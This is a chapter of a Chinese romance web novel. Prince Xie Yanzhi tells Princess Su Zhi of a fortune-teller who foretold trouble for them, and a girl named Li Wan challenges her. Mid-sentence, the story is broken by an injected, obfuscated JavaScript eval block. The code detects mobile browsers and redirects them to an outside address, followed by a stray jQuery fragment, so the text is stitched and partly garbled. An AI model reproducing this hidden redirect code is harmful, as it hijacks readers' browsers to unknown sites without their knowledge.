谢衍知不知雾是何时弥漫开的,日头降落,天边的火烧云被雾气遮挡。
“元翊!”谢衍知尝试喊了一声。
毫无回应。
枯叶落在地上,谢衍知踩在上面发出“沙沙”的声音。
溪水上薄薄的一层冰融化,流水声传入耳中。
谢衍知警觉的顺着水流的方向走,忽然强光刺眼,他忍不住抬手遮挡视线。
过了好一会儿,飞鸟扑腾着翅膀在山间游荡,雾气散去,谢衍知目光所及之处,一个白发苍苍的老人佝偻着脊背,采下最后一簇紫草。
四周仿佛是四面环山的山谷,积雪铺了厚厚的一层,踩在上面发出“嘎吱”的声音。
老人提着一篮子的紫草,转过头来,眼球混浊,“你来了。”
“这是哪里?”谢衍知问。
老人摸着花白的胡子,哈哈笑了几声,答非所问,“世子今日为何而来?”
谢衍知盯着他看了几秒,又转而看向篮中满满的紫草,“在下不知,老丈何出此言?”
老人晃了晃篮中的紫草,花瓣脱落出一片,“老朽想知道,世子为何一定要找到这紫草?”
“山下疫病肆虐,本世子奉皇命,自然要……”
“欸。”老人招招手,“这是于公,那于私呢?”
谢衍知眉头蹙了一下,没有开口。
“只可惜,这里并不是西北的雪域高原,全部的紫草已经被老朽先一步采到了,世子不妨做些什么?于老朽做个交换。”
苏栀趴在谢衍知背上,听他讲到这里,见他不说话了,忍不住插了一句嘴,“快说啊,你帮了他什么?”
谢衍知无所谓道,“帮他将后院的柴火劈了而已。”
苏栀唇瓣凑近他的耳畔,满满的不相信,“劈柴为何会搞的满手都是划痕?”
谢衍知面色如常,挑眉道,“本世子金尊玉贵的,也是第一次干这种粗活,受点伤不是很正常?”
苏栀白了他一眼,转念一想倒也对。
帮老人做完了这一切,谢衍知准备带着紫草离开时,脚步忽然顿住,侧脸被夕阳勾勒出金色的轮廓,回头道,“老丈。”
老人正舒舒服服的躺在躺椅上晃悠,闻言睁了睁眼,“世子还想再继续为老夫砍柴驾车?”
“若您真的有如此大的本事,可否告知在下一件事。”
“请讲。”
谢衍知本不相信这些神佛言论,可今日却不知为何,有些痴迷于这个答案,“在下有一心仪之人,她很好,唯一不好的就是………”
谢衍知低垂着眼睫,眼底情绪万千,语调有些许自嘲,“不太信任我。”
苏栀瞒着自己太多太多事,除去煤矿的事,还有竹屋里那封信到底是谁写的,还有她为什么不喜欢夏意。
谢衍知总觉得,他们之间早已足够亲密,亲密到可以向对方吐出任何事。
想到这里,谢衍知伸手,看着自己指腹几个摸不到的针眼,几分凄凉的勾了勾唇。
“她……会离开我吗?未来……”
老人捋着胡子,重新闭上了眼,“谢世子倒是个敏感之人,老夫只是个普通的算命先生,帝姬金枝玉叶,她的命数又哪里是老夫此等身份卑微之人可以冒然猜测的。”
谢衍知一怔,他没有提到苏栀的身份,更没有提到自己口中的心仪之人是谁。
他到底是谁?他是怎么知道的?
“不过,老夫可以斗胆多言,世子与帝姬,命中有劫。”
谢衍知捧着紫草的手有些僵硬,声音沙哑,“劫?”
“此劫,就看世子与帝姬,如何决断了。”
谢衍知掐头去尾的把经历大致复述了一遍,苏栀听的快要睡了,权当谢衍知讲了一个天花乱坠的故事。
“那你的箭是从哪里来的?”苏栀问,“元翊不是说你未带兵器入山吗?”
“哦,那人给的,说是闲置了许久让我带出去扔了,不想,还挺有用。”
苏栀点点头,下巴抵在他的肩上,“那老丈问你为何要来找紫草,你说为救百姓于水火,他问你于私呢,你为何不答?”
谢衍知轻笑一声,没说什么。
“你说话啊。”苏栀有些着急,伸手拧了一下他的耳朵。
“哎呀帝姬,下手轻点啊,很痛的。”谢衍知装模作样的喊痛。
“我都没用力好不好?快说!”
谢衍知把苏栀往上颠了颠,懒洋洋的开口,“因为我觉得这种话,和外人说没什么意思。”
“什么话?”苏栀立马凑近一些,想要听的清楚一点。
“亲我一下,我告诉你。”谢衍知邪笑道。
苏栀耳根一热,“那我不听了。”
“真的?”
“真的!”
“行,那我也不……”
谢衍知话还没说完,冰凉柔软的唇就贴在了侧脸上,只一瞬,还不等她细细感受,便已经消失了。
“好了。”苏栀揉了揉嘴唇,“快说吧。”
反应过来,谢衍知唇角扯了扯,好整以暇道,“因为我想让那个动不动就否定自己的人知道,她救得了平城的百姓,也救得了西辽的百姓。”
“苏栀,你是这天下最善良勇敢的帝姬,无须质疑。”
闻言,苏栀一时竟不知该如何开口,静默了好久,直到眼眶温热,泪珠顺着脸颊滴落在谢衍知的衣裳上,才抬手抹干净眼泪。
“可是…是你找到了紫草,是你救了……”
“若不是你,不会有人注意到陈四夫妻二人的异常,不会有人发现平城郡守为了保全自己郡守的位置而草芥人命,更不会有人在那么快的时间内翻译出那鬼画符一样的西辽文字,找到解药。”
苏栀趴在他背上,听着谢衍知一条一条翻出来,记得比她自己还要清楚。
“苏栀,被疫病折磨的是大宁百姓,你作为西辽帝姬,本可以撒手不管,可你还是带着我来了平城,还是为了查找解药日夜不休地翻看医书,苏栀,你早已不只是西辽百姓的帝姬了。”
苏栀安安静静的听着他讲,不多说一句。
从背负着满腔仇恨踏上这片土地,再到如今,她代替母亲,以公主的身份守护着这片土地上的百姓。
她忽然明白,为何当年母亲选择为大宁百姓和亲西辽,又为何会在绥阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138593|161373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
城破之日为西辽百姓自尽而亡。
若真的能保万千百姓长乐安康,若真的能够天下再无战火,那么这条被金钗银饰编织出的金光闪闪的性命,才真的称得上金枝玉叶。
谢衍知见她半天不说话,“又在多想什么?”
苏栀思绪回笼,“谢衍知,这是要往哪里走啊?”
“我也不知,不过那人说了,一路往西北走,就能走出去了。”
“你说,我们会不会早就被冻死了,现在只不过是死后的幻觉而已。”
谢衍知忍俊不禁,“惊蛰,把手伸过来。”
苏栀难得如此听话,“做什么?”
谢衍知张嘴,不轻不重的在苏栀的指尖咬了一下。
“啊……”苏栀惊呼一声,立马收回手,身体差点摔下去,“谢衍知你是狗啊,咬我干嘛?”
谢衍知笑问,“疼吗?”
苏栀不说话了。
—————
折腾了一整夜,天光大亮时一行人才回到郡守府。
苏栀马不停蹄的安排人去熬制解药,又迅速去准备给每个患病的人进行针灸。
谢衍知双手抱胸,靠在门框上看着她忙前忙后,“我看冻死就算了,你怕不是要累死自己吧?平城的大夫只是看不出这怪病,又不是一点用都没有。”
前些日子,她从平城去京州,又从京州回平城,接连着几个晚上,都没有睡过一个好觉,昨夜又受了那样的刺激,再不休息,精神都快要崩溃了。
“很快的。”
“快?”谢衍知掏了掏耳朵,差点以为自己听错了,“你知道得病的有多少人吗?”
“就是人多我才要……”
谢衍知懒得听她废话,三步上前一把将她打横抱起,手紧紧搂住她的肩膀。
感受着怀里麻木的人儿,谢衍知心中暗爽,“走,带你去休息。”
这一觉直接睡到用晚膳,苏栀才迷迷糊糊的转醒。
眼睛还是有些酸涩,苏栀披上衣裳,今晚的月亮还挺亮,一片银辉撒在院子里,静谧且美好。
院子里无人,苏栀推开房门,脚步轻轻的踩在那片银辉之上,想到谢衍知说的话,心里莫名升腾起一股满足感。
忽然,落针可闻的庭院内响起“啪嗒”一声。
苏栀立马警觉的看过去,眼中甜腻的笑瞬间被森冷取而代之。
“谁?”苏栀道。
粗壮的树干后面露出一个脑袋,是个身材纤细的姑娘,站在那里打量着自己。
苏栀不喜欢被这样审视地看,但还是耐着性子询问,“你是何人?”
李婉没立刻回答,而是又从头到尾看了她一遍。
苏栀等的有些不耐烦,见她也不是什么别有用心之人,打算直接回房。
见她要走,李婉才急忙忙地开口,“那个,你别走。你…你叫苏惊蛰?”
苏栀看过去,没说话。
李婉被她看的有些不敢说话,方才笑起来明明还挺亲切的,怎么不过一会儿的功夫,就是这般生人勿近的模样。
但箭在弦上,李婉给自己打了一口气,彻底从树后出来,“我要同你比试!”